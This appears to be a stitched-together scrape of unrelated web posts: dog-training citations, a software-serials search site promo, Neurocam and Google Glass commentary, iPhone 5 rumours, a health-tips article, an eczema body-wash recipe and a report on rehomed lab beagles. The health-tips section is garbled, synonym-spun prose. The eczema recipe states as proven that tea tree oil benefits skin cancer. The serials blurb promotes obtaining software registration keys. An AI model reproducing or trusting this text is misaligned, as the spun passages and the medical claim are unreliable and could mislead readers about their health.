*Incidentally, I’m not suggesting you try it on yourself at home. If you want to know what it’s like to wear a prong collar, Yvette van Veen has already done it for you. Her verdict? “It hurts like hell when a collar presses on delicate tissue.”

Further Reading

If you would like to read more about dog training methods and how to train your dog, you might like these books (affiliate links):

Train Your Dog Like a Pro and Culture Clash by Jean Donaldson.
The Power of Positive Dog Training by Pat Miller.
How to Behave So Your Dog Behaves by Dr. Sophia Yin.
The Other End of the Leash: Why We Do What We Do Around Dogs by Patricia McConnell.
Excel-Erated Learning: Explaining in Plain English How Dogs Learn and How Best to Teach Them by Pamela Reid.
Inside of a Dog: What Dogs See, Smell, and Know by Alexandra Horowitz.
Decoding Your Dog: Explaining Common Dog Behaviors and How to Prevent or Change Unwanted Ones by American College of Veterinary Behaviorists. Edited by Debbie Horwitz and John Ciribassi with Steve Dale.
The Domestic Dog: Its Evolution, Behavior and Interactions with People (2nd edition) edited by James Serpell.

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Arhant, C., Bubna-Littitz, H., Bartels, A., Futschik, A., & Troxler, J. (2010). Behaviour of smaller and larger dogs: effects of training methods, inconsistency of owner behaviour and level of engagement in activities with the dog. Applied Animal Behaviour Science, 123(3), 131-142. https://doi.org/10.1016/j.applanim.2010.01.003
Blackwell, E. J., Bolster, C., Richards, G., Loftus, B. A., & Casey, R. A. (2012). The use of electronic collars for training domestic dogs: estimated prevalence, reasons and risk factors for use, and owner perceived success as compared to other training methods. BMC Veterinary Research, 8(1), 93. https://doi.org/10.1186/1746-6148-8-93

Cooper, J. J., Cracknell, N., Hardiman, J., Wright, H., & Mills, D. (2014). The welfare consequences and efficacy of training pet dogs with remote electronic training collars in comparison to reward based training. PloS one, 9(9), e102722.
Grainger, J., Wills, A. P., & Montrose, V. T. (2016). The behavioral effects of walking on a collar and harness in domestic dogs (Canis familiaris). Journal of Veterinary Behavior: Clinical Applications and Research, 14, 60-64. https://doi.org/10.1016/j.jveb.2016.06.002
Herron, M. E., Shofer, F. S., & Reisner, I. R. (2009). Survey of the use and outcome of confrontational and non-confrontational training methods in client-owned dogs showing undesired behaviors. Applied Animal Behaviour Science, 117(1), 47-54. https://doi.org/10.1016/j.applanim.2008.12.011
Hiby, E. F., Rooney, N. J., & Bradshaw, J. W. S. (2004). Dog training methods: their use, effectiveness and interaction with behaviour and welfare. Animal Welfare-Potters Bar then Wheathamstead, 13(1), 63-70.
Ziv, G. (2017). The Effects of Using Aversive Training Methods in Dogs–A Review. Journal of Veterinary Behavior: Clinical Applications and Research. https://doi.org/10.1016/j.jveb.2017.02.004

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Get all your software serials

YouSerials and Serials.ws is a search engine for software serials.

The idea is to have abackup of all software registration numbers that we use.
Each serial key can be voted on by other users, increasing or decreasing its reputation based on its authenticity.
It’s also useful if your Operating system had crashed and you need a reinstall
but don’t have all the serials stored or are lost.


Neurocam – The Next Level Google Glass


Neurowear, a gadget project organization in Japan focused on Creating “Communication for the near Future” which basically uses brain waves, heartbeats and other biological signals to understand Human thoughts and emotions.

Neurocam, the Brain Child of Neurocam is a wearable camera system, that detects users’ emotions. It Automatically Records Moments of interest based on an Analysis of the users Brainwaves. The prototype of Neurocam was demoed at Human Sensing 2013 conference in Yokohama, Japan.

Neurocam is a headband equipped to hold an iPhone next to the side of the head behind the eyes of a wearer. The phone is fitted with a special prism so the camera can record footage from the wearer’s point of view. Neurocam uses EEG sensors. Electroencephalography (EEG) sensors record brain’s spontaneous electrical activity over a short period of about 20–40 minutes using multiple electrodes placed on the scalp.

Neurocam gauges wearers interest on a scale of zero to 100, and interest is detected if brainwave readout tops 60 and then it’ll start recording a video and transforms the footage into five-second GIFs.

Interest-based advertising enables advertisers to reach users based on their inferred interests and demographics (e.g. ‘sports enthusiasts’). Neurocam can determine what goods in stores interest people and can also show what places people are interested. Thus Neurocam is a viable tool to improve Interest based Advertising, so the advertising titan Dentsu is now backing the Neurocam via a joint venture called Dentsu ScienceJam.

As Neurocam can also show what places people are interested, it can also be used for urban development. 


 Google also has the similar idea of implementing the Interest Based Ads on Google Glass but currently it does not have any advanced technologies like Neurocam. If Google and Neurocam ties up, Neurocam can be The Next Level Google Glass.

Happy Father’s day Quotes and Pictures

Happy Father’s day Quotes and Pictures

Happy Father’s day Quotes and Pictures


#Happy #FathersDay #FathersDay2015 #quotes #pictures

iPhone 5 Release Date and Features and Specifications of iPhone 5


The iPhone 5 is a magnum opus without a doubt. It is set to change the way the smartphones play their game. Apple has not released one iota of information about iPhone 5 specs as yet, but with the help of rumors that have surfaced through some very possible claims, we have summarized the entire iPhone 5 phenomena for you. Here’s it:
Rumors are running high all around. Just like it happened when the world awaited the iPhone 4 release, rumors are running about in every website that you could think of. iPhone 5 is already a phenomena that is sure to take the smartphone market by storm. As usual, it’s an Apple product and Apple’s devices have always caused such a huge flutter of activity in the market even before they get released officially.
iPhone 5 features are much touted to change the way smartphones would function. Improved interface, greater Near Field Communications, much better gesture-based controls and such startlingly new technologies are rumored to be figure in the iPhone 5 features. Even if half the news that we hear about iPhone 5 turns out to be true, then we sure have a rocker smartphone in our hands.
iPhone 5 Concept
iPhone 4 to iPhone 5
So how does the iPhone 5 compare with the iPhone 4? Experts say that software-wise, iPhone 5 is a minor update over iPhone 4. Most notable areas of change are the hardware parts, the processor and the way iPhone 5 lets you sync your work. The iOS is different on both the devices and that is probably as far as it can get. The signal issues that iPhone 4 has would probably be removed totally in the iPhone 5 design – that was one huge problem Apple was facing.
Popular websites that keep us in-tune with iPhone 5 feature rumors and news seem to unanimously agree that the iPhone 5 would boast a slimmer design than the iPhone 4. Being wary of the glass display and the glass back of the iPhone 4 – because of its brittle nature – features of iPhone 5 could very well have an all-metal look with a stronger and stolid display. This might also reduce the chances of the signal problem we found in iPhone 4.

But the details are not in these minor information. The original crux which would attract people is in the details of the processors, the camera, and many other relatively new things that is expected in the iPhone 5 specs. Let’s take a look at each of these clearly and also find out the possibility of their occurrence in the iPhone 5 when it is released.
iPhone 5 Specifications – Part One – the Hardware
Every product that Apple has come out with, has had a very strong sense of elegance. Even the latest iPhone 4 had this very cool look and professionalism. iPhone 5 is said to be thinner, slimmer, stronger and most appealing in terms of size.
All-Metal Body? Perhaps, with the problems faced in the iPhone 4′s display, the glass make is about to go out. The back panel might be metallic, making the iPhone 5 an all-metal phone with a strange rumor about the glass being totally different from that of any smartphone.
The curves are most probably back in the iPhone 5 specs. It might no longer be a close square cut like the one we found in iPhone 4. Also impressive is the fact that iPhone 5 would have a larger display area of about 4 inches.
So far, here are some of the things we have been hearing all too often, to think that they could be true to a large extent:
Curved Glass / 3D Display – Okay, the 3D display might be a far fetched idea, but the possibility of the curved glass design might be quite true. Apple recently bought about 300 special glass cutting machines and that was reported by DigiTimes. If that was true, then surely Apple is onto something with its iPhone 5′s new glass display.
  • 8 MP Camera with Dual Flash – Unimaginably for Apple, it has not yet offered 8 MP cameras on its devices while Samsung and HTC have already come out with their own 8 MP cameras already – way too early for Apple. The iPhone 5 would be an answer to this. Or so we think. An 8 MP camera with dual flash on the rear means higher resolution pictures, greater quality and most notably, greater quality in low-light pictures where the red-eye occurs. Of course, we need to keep our fingers crossed for the iPhone 5 specifications to have this.
  • A5 Processor – Of all features of iPhone 5, one of the finest thing we believe is the processor. Apple has finally relieved its A4 processor and brought in a dual-core processor that fires up its iPad 2. If iPad and iPhone 4 had the same processors, then it is quite logical to assume that iPhone 5 and iPad 2 would have the same – the A5 processor dual-core for enhanced performance. This is a very sure rumor as far as we know.
  • More Gesture-based – No Home Button – Oops! No home button? Well, yeah, quite possibily. Apple has moved to improved gesture based controls through its iOS 5. So it is quite possible that the home screen might be dropped for enhanced gesture-controls – one large interface change in iPhone 5 specifications.
  • Storage and RAM – the features of iPhone 5 is more likely to have an improved RAM of 1GB to go with the dual-core processor. The RAM was 512 MB in the iPhone 4. The storage too might have a chance of increase. Some rumors said it was 64GB this time, but there are some people who say that Apple could very well – considering the wide range of devices, the iPhone-PC or iPhone-Mac sync – do away with the internal storage thing!
Part Two – the Software
One thing that has always stunned experts is the way Apple brings changes to its software. It is sometimes very subtle where you expect it to be huge, and hugely stunning where you expect it to be subtle. Most experts feel that after the recently concluded WWDC – where iOS 5 and iCloud were the topics – there could be no great change but for these two, in the iPhone 5 specifications. Well, that may be true to a large extent, but only a final release of the iPhone 5 will tell.
Here’s again a list of things we could be looking for in the iPhone 5 specs.
  • iOS 5 – A brand new phone and a brand new OS. The iOS (formerly known as iPhone OS) featured since the days of the iPhone 2G. These are very popular times of the iOS 4 but that is soon set to change. IOS 5 has been announced officially. The way it works is through gesture-based controls more than button taps. Perhaps that is why people suspect the lack of a home button in the iPhone 5 features. Design-wise too there are quite a number of changes and enhancements in iOS 5 which was released in the WWDC held this June.
  • iCloud – We just had the release of some beta apps with iCloud enabled in them. ICloud is the next big thing according to Apple. It is all about sync and nothing more – sync done right. Usually sync is where you had to connect devices and take further steps – for instance, iTunes. But with iCloud all that work is done with a simple tap of a button – the iCloud button. From within iCloud enabled applications, all you need to do is tap this and your document, photo, contact, bookmark, calendar or whatever gets pushed to all your other Apple devices with the iCloud equipped!
  • HD Video Recording and HDMI Output – In sync with the iOS 5 features, there is a strong possibility that iPhone 5 comes with HDMI output and most certainly with HD video recording. iPhone 4 had HD video recording already and iPhone 5 might either have the same or an enhanced version of it.
iPhone 5 is rumored to be released in October. There has been no official word on iPhone 5 as yet. Not even its existence or development has been hinted at by anyone from Apple. But we all know. That was how it was with iPhone 4 too – of course, we had a prototype leak back then. But still, iPhone 5 is on everyone’s lips. It is just a matter of time before we see the magnum opus from Apple with all its bells and whistles!

Release Date Continuation…
iPhone 5 Concept
 iPhone 5 Release Date might be most buzzing topic among tech geeks.  Each day is rising with a new rumor or a speculative guess about iPhone 5 launch date. CNET UK, a top internet review site for electronics, has grabbed attention of the techies posting update on iPhone 5 release date.
According to CNET UK, iPhone 5 release date is likely to be October 2011. We guess this is the first exact date prediction about launch of the next generation iPhone.
What is the reason behind releasing iPhone 5 in October?
Apple recently announced iOS 5 at WWDC 2011 which is packed with new cool features, including Android’s drop-down menu style notification.  iOS 5 will be released in the autumn, more specifically in  October. Furthermore, Apple brings new generation iPods and iPod Touches in September. However, according to CNET UK, iPods are not enough glamorous to bring iOS 5 into the world. iOS 5 and iPhone 5 both will be the perfect platforms for each other.
That is the reason why we are expecting to see iPhone 5 release with iOS 5, in the autumn.  We already assumed that Apple doesn’t want to release iPhone 5 until iOS 5 is completely ready which is somewhat similar to CNET UK’s prediction. Here is what we predicted.
Why CNET UK has assumed Wednesday 7 September 2011 as the iPhone 5 launch date? Since 2005, Apple has been launching iPods in September on the first Wednesday after Labor Day. There were some exceptions in the past, though the Wednesday has proven Apple’s a regular favorite day.
Well, what do you think about this prediction? Do you believe iPhone 5 will be released on 7th September 2011? We would like to hear from you in below comment box!
Following are some of the iPhone 5 release date updates which we come across from time to time through reliable sources.
Update (22 August): Last week we heard a rumor that Apple’s iPhone 5 would be announced on  the 7th of September, now according to Kara Swisher from All Things D, this rumored launch date is incorrect and the iPhone 5 will launch in October.
Update (17th August): Is Apple planning to release much awaited iPhone 5 on October 7? Recent report also suggest that Apple will start pre-orders for next iPhone on September 30. Find out more details.
Update (11th August): One of the guys at ZAGG has posted iPhone 5 unboxing video. Is it fake or real? Check this out here.
Update (1st August): Is Apple set to launch iPhone 5 in October? Here find out what a new reliable source, All Things D says about iPhone 5 release date.
Update (28th July): Is iPhone 5 release date set to 5th September? Here find out more about what recent report says from Italian iPhone blog.
Update (28th July): According to the China Times, Apple is all set to launch iPhone 5 in the second week of September with an opening order of 4 million units. Find out more
Update (6th July): As per the recent report from DigiTimes is claiming that Taiwan based manufacturer, Pegatron Technology has received order of 15 Million iPhone 5s from Apple. Here is more on that.
Update (1st July): Another report from DigiTimes claims that iPhone 5 release date should be somewhere in October. According to DigiTimes, Taiwan-based companies have begun to prepare components for the production of the iPhone 5 along with iPad 3 for an October release. Check out more in details.
Update(29th June): Another iPhone 5 rumor says that Apple may launch iPhone 5 (probably iPhone 4s) in September. Click here to find our more on.
Update(14th June): According to 9to5Mac, next generation iPhone reaches to its final stage of testing for September release. Click here to find out more in details.

Update(10th June): Apple didn’t reveal anything about iPhone 5 release date at WWDC 2011. Find out why?

Update(6th June): What’s Samsung got to do with the iPhone 5 release date? Here’s news on how this might affect iPhone  5 launch date.

Update(5th June): Is iPhone 5 release date affected by battery supply issues? Recent reliable reports suggest that Apple’s appointed manufacturing plant of lithium ion batteries shut down due to recent quake in Japan. Find out more in detail.
Update(4th June): Brian White, an analyst for Ticonderoga Securities has analyzed that Apple is going to release iPhone 5 in September 2011, not at WWDC. Check out what Brian White has analyzed.
Update(17th May): Here is again a rumor about iPhone 5 launch date. In an exclusive talk with T3.com,  a sales representative from UK based retailer Phones 4U said that iPhone 5 release date is moved to 21st November 2011. Here is further details.
Update(6th May): According to latest news, an AT&T customer representative confirms that Apple has informed AT&T not to expect the iPhone 5 in June or July 2011. iPhone 5 launch date may be pushed to September. Check out AT&T representative words about iPhone 5 release date.
Update(13th April): Here is again rumor that iPhone 5 release date is scheduled to September 2011 or early 2012. According to press note by Avian Securities, Apple’s next gen iPhone 5 should go in production in July and will be available in September 2011 that leading us to predict that iPhone 5 will not hit stores till late 2011 or early 2012.
If you are equally excited as me for iPhone 5, then following features could be major reason to wait for stunning iPhone 5.
iPhone 5 Features  at a Glance:
  • Storage Capacity: Apple is offering 16 GB and 32GB iPhone since 2009, so apple is aware this it would be hard push iPhone 5 without having 64 GB of storage. iPhone 5’s lowest model will come with 32G of space and 64G of memory.
  • Signal Strength: Unlike iPhone 4, iPhone 5 is not having signal issue, as they are offering the strongest signal strength of any iPhone model ever even the best of any Smartphone to ever come to market.
  • Face Recognition: The new iPhone 5 will have Face Recognition for Security sake so that you don’t have to worry about other people stealing your phone and trying to use it.
  • Thickness: All three iPhone had thinner bodies than the previous model so the iPhone 5 can be the thinnest yet & much nicer overall body design of the phone.
  • Longer Battery Life: iPhone 5 will have Up to 14 Hours of Talk Time On The 3G and 7 Hours on the 4G.
  • Video Chat: Video Chat on a 4G network instead of a slow 3G one
  • A5 Dual core processor: For Outstanding Video Quality Apple May Introduce A5 Dual Core Process with iPhone 5
  • Screen: Shatter Resistant and Scratch Resistant Screen
  • Built In GPS: You’ll never get lost or have to download one of those stupid GPS apps.
  • iOS 5: It is much anticipated that Apple will introduce iPhone 5 with latest iOS 5.
  • Surprise: As the tradition of apple iPhone 5 will also unveil some surprise features.

You may interested to Know:

  • Cheap Phone, iPhone Nano
  • iPhone 4S release date
  • iPhone 6 Release Date and Features
  • Prices of iPhone 5
  • iPad 3 Release Date and Features
  • iPhone 4 Prices
  • iPhone 5 release date in India
  • iPhone 5 release date in UK, Europe
  • iPhone 5 features – Infographics
  • iPhone 5 Release Date in Australia
  Source: http://www.iphonestuffs4u.com/iphone-5-features-specifications/

Anzac Day 2015 Quotes

Health Mistakes That Most People Make – Health Tips

Would you like to look sound? Provided that this is true, you ought to abstain from committing the 5 most regular wellbeing errors. The vast majority eat undesirable stuff and don’t practice by any means. Subsequently, they fall wiped out. In actuality, a standout amongst the most well-known reasons for stoutness is overheating and not doing any activity. The following are 5 botches you should maintain a strategic distance from should you need to remain fit as a fiddle. 

Health Mistakes That Most People Make

Not drinking enough water 

For a great many people, it’s hard to drink 8 glasses of water once a day, yet you can locate some simple approaches to keep hydrated. You may put a few berries in your drinking water to make it heavenly. Another smart thought is to drink lemon water. Keep in mind: lack of hydration can cause weakness, dry mouth, clogging and temperament swings. Then again, drinking water will enable you to control your yearnings and craving. Thus, you will have the capacity to keep up your weight. In this way, you should make it a propensity to have no less than 8 glass of water every day. 

Skipping suppers 

On the off chance that you skip suppers, your digestion will back off. Thus, you will have a tendency to gorge, put on weight and get a considerable measure of genuine ailments. In addition, the absence of vitality will make you feel drained and languid for the duration of the day. 

Along these lines, the arrangement is that you ought to eat entire nourishments, for example, nuts, beans, seeds, veggies and new natural products. This will support your digestion, increment your vitality, improve your assimilation and monitor your hunger. In a perfect world, you ought to eat three servings of veggies and natural products once a day for enhancing your general wellbeing. 

Not eating protein 

You ought to have enough vegetables so as to get enough protein. On the off chance that you need to remain solid, you might need to give your body the perfect measure of calories. This will enable your body to control your glucose levels enhancing your concentration and building bulk. You can go for buckwheat, hemp, spirulina, chia seeds, and eggs, for example. These things will supply your body with protein. 

Not eating carbs 

The absence of sugars in your body can cause weakness, migraines, blockage, state of mind swings and sickness. Likewise, it can likewise influence you to eat excessively. 

With regards to starches, you should settle on insightful decisions. You may include vegetables, entire grains, seeds, organic product, nuts and vegetables. Be that as it may, having excessively of them is an awful thought. 

Not getting fat 

Fat can cause stoutness if expended imprudently. Similarly, not eating enough fat may have unfriendly impact on your body. Your body will work legitimately just in the event that you furnish it with enough fat. Your body gets vitality from fat to play out the day by day tasks. In this way, you ought to get several tablespoons of fat once a day. This will enable you to remain fit as a fiddle. You can eat seeds, avocado, olives and nut spreads for furnishing your body with enough fat. It’s a smart thought to stay away from creature oils and fats. 

Hopefully, you will avoid these mistakes down the road. Stay healthy!

The Art of Solar Printing


It’s here in incredible concept and I simply love it! The Tanning Printer is a solar powered printer that doesn’t use cartridges. Instead it uses the process of sun-tanning the paper! You got that right sir…sun tan! It seems outlandish right now, but trust me the idea is worth exploring… the design is here, it looks neat and sleek; now let the engineers figure it out!

Source: Yanko Design

Wearable Glass and 360° vision


Disruptive technologies have a way to get through from SciFi to market success in a few years, witness mirrorless cameras.

A few observers forsee the same for Google Glass, the wearable device getting mainstream this year : shall we kiss goodbye our smartphones? I would shed no tears. This is an preliminary article anyway: we’ll see how things pan out. For the moment this is more an inventory of links, than an assessment, but I have no doubts that wearable technology is already taking long strides.
For the moment universal use seems hardly likely, except for the affluent, with Google Glass selling to a selected few at $ 1500  as part of the Google Explorer program. Google has just expanded to Britain the Explorer Program,selling the Glass for UKP 1000, offering in the meanwhile  new  glass frames that could be compatible with prescription lenses in the UK.
Here at Wikipedia the last specs:


What drew my attention however is the appearance of a Chinese clone , the SimEye.
 At $500 it seems far more reasonable. The difference is in the number of app offered, and the fact that it doesn’t respond to voice controls like the original, and has no sound transmission through the skull bones like Google. But it can still take photographs and record movies with 4 times the definition of Google. And it can still download apps directly from Google Android Libraries.
Would that be able to interface with one of my cameras?
Photo Wang Yin Hao

Looks a bit unsteady. Note that Google mentioned recently that the finalprice to consumers of the Glass would be close to your average smartphone – so better wait!

Meanwhile Olympus published a patent for wearable glasses, and I later discovered it is associated with Kopin company for development of a new device.
Olympus is known for its world dominance in endoscopes and medical devices, so Medical could be the first application. But it could also go consumer:

Note that the device can be disassembled, which is not true of Google Glass.


Imagine surgery with augmented vision, a thing that military jet pilots already have with their headup displays in their helmets. But here the device is much lighter and less intrusive.
It could also bring augmented reality to the operating table: a surgeon could  see a heart in 3D:


Or could it go Consumer and Virtual? Virtual Reality quit consumer markets some ten years ago because it required some extremely fast and expensive computers to be credible. Therefore it was the preserve of training devices for the military, like jet plane simulation. 

It is now making a comeback to consumer games, because of the fast increased computing power of miniaturised devices, and their high resolution screens. Also, Wi-Fi and Cloud can act as Storage.

There are out of the box solutions, making use of devices you might already have. Check this, the Oculus device for making a Samsung phone into a virtual reality device:

By sliding a phone into with a wearable box with two magnifying lenses, you use the high definition Samsung screen to input software provided by Oculus, the Facebook funded company. 
The built-in lens of camera phone also allows to superpose the artificial and the real. Remarkable!

The main reason reason however for me to take an interest, is that Olympus mentioned wearable glass a a future interface for cameras. Imagine a WiFi link between camera and Glass, instead of using a smartphone. Wouldn’t it be more natural in the long run than sticking an odd, and expensive EVF to its Pens? 

Google Glass was not born for Photography though. “It’s a pretty crappy 5MP cell phone camera – there’s not much else to say. It’s ok when you have some sunlight and a muddled mess when you don’t.” says AndroidPolice


First you say “Show the viewfinder”, then “Take a picture”. Here are the main voice commands:
The most successful apps at the moment  include a Moving Map indicator, which can tell where you are, and direct you through the road system. You input the data with your voice. “Get directions to…” will fire up the app and start navigation to your destination. Just like your phone on Android, you can direct it to a specific business, search for a type of business, or speak a whole address.

You also have the regular Google Search, although presentation of the results by Cards, makes it somehow messy and laconic, says AndroidPolice.
Certainly you can also dictate an e-mail and send it with a vocal command to Gmail. By the same token it is easy to send the images you took with the 5 Mpx Glass to Google Galleries (Picasa?). You can also do short bursts of 720p.
Another  app being developed will help you speed up check ins at British airports, another will act as a guide to the Sixtine Chapel, the Egyptian Museum of Turin, and other Italian museums, by using facial recognition on the mummies, or the paintings! It is difficult to tell however what is already there, and what is just planned. Will it also be able to translate presentations and street signs? Or even pick up a conversation in Japanese and translate it?

Meanwhile Photography  got me interested in a crowdfunding device that will soon hit the market: the Bublcam:

This camera is the size of a baseball, and has 4 lenses that cover 360°. It was designed in order to allow  iimage swipng  across a smartphone. Proprietary software allows to stitch the 4 images in a circular image, which covers all of your surroundings. 

If that was linked up to am Oculus device, imagine the immersive effect! Perhaps we are at the verge of  blending natural vision and machine one, in high definition. Have a taste here:

To have a further idea yet look at these 360° pictures of the Mundial and its stadiums in Brazil, by photog. Henri Stuart. You can swipe to your heart’s content. Here the post:


and here, choose one of his  pictures, and swipe it !:


There is already a minor alternative to bubl, the CENTR:

So are we finally overcoming the limitations of the frame? Frames were invented in Europe just before the Renaissance to allow merchants to have their portraits made,  bought and carried away. But long before that painters were paid by bishops and abbots to make  frescoes of the Saints  covering whole walls of Churches with visualizations of the Bible: far more immersive. With 360° cameras we are back to the beginning.

What will happen to Photography, as we knew it,  will it stand a chance? It’s rather traditional cameras that are in danger, I am reminded about Marcel Duchamp’s words about the camera some day becoming as outdated as Painting. 

Note that according to a specialised site, Optical Vision Site there are 39 companies  flexing their muscles in the new Wearable Viewer market and that sales have doubled every year:


Meanwhile imagine to hold a Bubl ball in your hands high above your head, documenting your surroundings for your wearable glass, and uploading them by WiFi to the Cloud.  In California a journalism course has been already lauched based on Google Glass.

It would certainly change holiday photography, and a lot more: it would be an experience akin to Life-Logging. You could blend your images of monuments and temples with those of other users.

Sometimes I am scared by such an intrusive future coming soon, and yet I welcome the Glasses as a more interesting viewing device than a smartphone. Imagine the prices were similar. If I had the choice, I would go for the Glass, since it can take and make calls too anyway. And you, what would YOU prefer?
Much of this bounty however will depend on available app in the Android ecosystem, and the development of more powerful  batteries. So far Google has kept strict control on third party applications, but these are early times. 
The Battery allegedly lasts 1-2 hours. Needs more juice, to become your permanent wearable computer. So far it just shuts down like an ordinary phone. But it wakes up if you nod 30° upwards!

Google Apps are updating at a monthly rate, so chances are that you won’t recognize your Glass after a few months. it’s a kind of Transformer thing.

Photokina is now looming: we’ll see what comes up then. Or perhaps Photokina being more a more traditional camera show. the new consumer devices will emerge beginning of next year at CES in Las Vegas? 

Will traditional cameras stand the attack, or is it the beginning of the End? Smartphones are already nibbling at a 20%  yearly rate at camera sales each year worldwide, according to a preliminary Photokina’s report. Glass might be the kiss of death, unless Olympus develops itself a wearable device specific for cameras.
Note however that mirrorless (ILC) is faring better:
There are however some no-nos about wearable glass. You don’t wear it near restrooms, lest they take you for a voyeur. But if you want the full criticism, have a look at the 35 arguments against it:


Some arguments are quite wacky, and luddite.  Other concerns are quite real, basically about privacy and the use that Google might do about your personal data, that you must input in the device in order to make it work.  For instance there’s a difference between using anonymously Gmail, and inputting your real name in Google+. Google would like to feed the Contacts side with real names, if only for the sake of brevity.

However petty criminals  could use the device to blackmail unaware celebrities, although paparazzi did that  already there with their plain cameras. But with Glass, how can people tell if you are shooting them or not? Also don’t forget that you have Google Search at your fingertips in the Glass. You can actually be guided to a person or a shop!

So there are also etiquette concerns of all kinds – smart restaurants refusing use, and safety issues. Although freeing both hands you can’t superimpose virtual reality to what you are driving through, without risking an accident, because of the different planes of visualization and attention. Is it why Googles is introducing automated driving? The application is there, but  it is not yet legal. Both the US and the UK have prohibited driving  while wearing the glass.

 Glass  will make the wearer feel like an omnipotent  ‘photographer’ with the Third Eye,  always at the ready for a shot, by a vocal command, or even a discrete tap on the touchpad of the frame. But will he/she be aphotographer or just a camera wearer?

I am particularly interested in user experience. How often do you use it?Please feel free to use the e-mail module here affixed. Other users of this site could also comment if they find the new devices desirable or not.
More importantly, do you think that this mode of visualization, this mingling of the artificial and the real, will be the end of cameras, if not of Photography?

The Daily Telegraph just announced the opening of an Amazon shop in Britain dedicated to wearable technology, and it published the latest market forecasts:

“Wearable technology has already emerged as one of the top tech trends of the year. Deloitte predicts than 10 million wearable devices will ship globally in 2014, from sophisticated gadgets to smart textiles and skin patches.
In a recent survey of 6,000 individuals by consulting company Accenture, 46 per cent expressed interest in buying smartwatches, while 42 per cent said they’d be interested in purchasing internet-connected eyeglasses, such as Google Glass.
The global market for wearable technology was reportedly worth $2.7 billion (£1.6bn) in revenue in 2012 and is expected to reach $8.3 billion (£4.9bn) in 2018.”


Finally you could control Glass and shoot pictures, even by mind control, i.e. concentration, by associating Glass  to an EEG reader through an app, called MindRDR

Don’t believe? See this fascinating article here at BBC:
“An EEG headset can be used to measure when certain parts of the brain show a greater level of activity.
In this case, the MindRDR software monitors when the wearer engages in high levels of concentration.

Within Google Glass’s “screen” – a small window that appears in the corner of the wearer’s right eye – a white horizontal line is shown.

As a user concentrates, the white line rises up the screen. Once it reaches the top, a picture is taken using Glass’s inbuilt camera.”

Please check the BBC video, to see how the thing works, it’s amazingly simple. To send a piccie you just think the same thing twice, and the picture gets sent to a pre-programmed address.
The thing is meant for paraplegics and people ‘walled inside’ and it’s really a hack, not recognized by Google.
But who knows, one day you could take a pic by thinking deeply about your mother in law. Never say never 🙂

Homemade All Natural, Healing & Moisturizing Eczema Body Wash

Eczema is a term for describing different types of skin conditions that result in inflammation of the skin. Many people suffer from eczema. Eczema is also known by its more medical term Atopic Dermatitis, which means ‘inflamed skin.’ It is not a contagious condition. It can also be easily triggered by environmental factors like smoke and pollen.

This skin condition is quite common for children, but adults can get it too. About 20% of children all over the world suffer from eczema. People with eczema have sensitive skin. And the treatment focuses on healing damaged skin and alleviating symptoms.

It is often so difficult trying to find a soap or lotion that doesn’t irritate sensitive skin. This homemade eczema body wash is surprisingly amazing for allergies and skin reactions.

I encourage on this blog to embrace all things natural. Yes. This post will teach you just how easy to make your own homemade natural body wash for eczema.

Benefit Of Each Ingredient

  • Liquid castile soap – Liquid Castile Soap is a versatile natural soap that can be used in beauty recipes like shampoo and body wash and in cleaning and baby care It is good for sensitive skin types including eczema affected skin.
  • Coconut oil – This oil is wonderfully moisturizing and soothing to eczema. It has antibacterial, anti-fungal, antioxidant and antimicrobial properties that can help soothe your skin when it’s itchy. It can also help reduce the inflammation.
  • Goat Milk – Goat milk is wonderful for people with dry or sensitive skin or conditions such as eczema and psoriasis
  • Raw honey – Keep the skin moist which helps to reduce or remove the incidence of eczema flare-ups.
  • Vitamin E oil – This vitamin is a strong antioxidant. It also lubricates the skin, speeds up the rate at which cells renew and regenerate. Vitamin E oil is necessary for a soft, smooth and youthful skin.
  • Lavender oil – Using lavender oil for eczema is very common, as lavender oil is a traditional treatment for many skin conditions. Did I mention that it will also give this body wash an incredible uplifting scent?
  • Black Cumin Seed oil – Black cumin seed oil can help with a variety of skin ailments including, acne, psoriasis, and eczema
  • Tea tree oil – Tea tree oil may help relieve itchiness and inflammation associated with eczema. The oil has been proven in medical studies to benefit acne, eczema, psoriasis, warts, fungus and skin cancer.

What you Need

  • 2/3 cup liquid castile soap
  • ¼ cup coconut oil 
  • ¼ goat milk
  • ¼ cup raw honey 
  • 2 tsp vitamin E oil
  • 5 drops lavender oil 
  • 10 drops black cumin seed oil
  • 10 drops tea tree oil 
  • Measuring cup
  • Flip top bottle 
  • Pot of hot water
  • Whisk for mixing 


  • Add the coconut oil to the measuring cup and gently melt it down. You can do this by using the cup to do a double boiler.
  • Once melted, add the black cumin seed oil, raw honey, goat milk, and vitamin E oil. Whisk well until mixed together.
  • Add the liquid castile soap and essential oils and whisk again.
  • Now pour the mixture carefully into your flip top bottle.
  • That’s all! Your Homemade eczema body wash is ready!
  • Store in a cool dry place and make sure not to get any water into it. 

    Share your experience below. 

Laboratory Beagles Do Well in New Homes

Researchers follow lab beagles as they go to live with a family – and find they adjust very well.

Sleeping beagle. Lab beagles can be successfully rehomed
Photo: Sigma_S (Shutterstock)

Laboratory beagles are used for a variety of experiments. A new study by Dorothea Döring (LMU Munich) et al investigates how they behave in normal life once they are rehomed with a family.

As they explain at the start of the paper, “As rehoming practice in Germany shows that appropriate new owners can be found and that the dogs seem to adapt easily, no sound reason exists to euthanize surplus or post-experimental laboratory dogs unless they would experience pain and suffering if kept alive. From a moral standpoint, humans have an ethical obligation to provide healthy animals with appropriate living conditions.”

Although some laboratory beagles are re-homed directly to individuals, most are rehomed via animal welfare organizations that specialize in placing them. The researchers studied 145 beagles that were rehomed by two such organizations from a pharmaceutical company.

The results show the new owners were very happy with their dogs: 92% said they would adopt a laboratory beagle again. Only 9 (out of 145 dogs) were returned to the animal welfare group.

Life for beagles at the lab had involved being kept in an indoor kennel with daily access to an outside run. They had been provided with treats, a wooden bite stick and a sleeping box, and most had been housed on their own. The beagles were used to general veterinary procedures like examinations and blood draws.

All of the dogs were given a behavioural test at the lab facility. After six weeks in their new home, the same test was given to all the dogs that were adopted within a 200km radius (74 of the dogs). They were also observed in interactions with the owner (e.g. inviting the dog to play, taking the dog for a walk on leash). The new owners also took part in a telephone interview 1 week and 12 weeks after the adoption.

The behaviour test included a range of things like leaving the dog alone for 90s, offering food from a flat hand, holding the muzzle closed for 10 seconds, putting a collar and leash on, using a stethoscope to check the dog’s heart rate, and so on. In the second test scenario and observations, a few dogs were not given certain parts of the test for welfare reasons (e.g. if the owner said the vacuum cleaner sent them into a panic, they were not shown a vacuum cleaner).

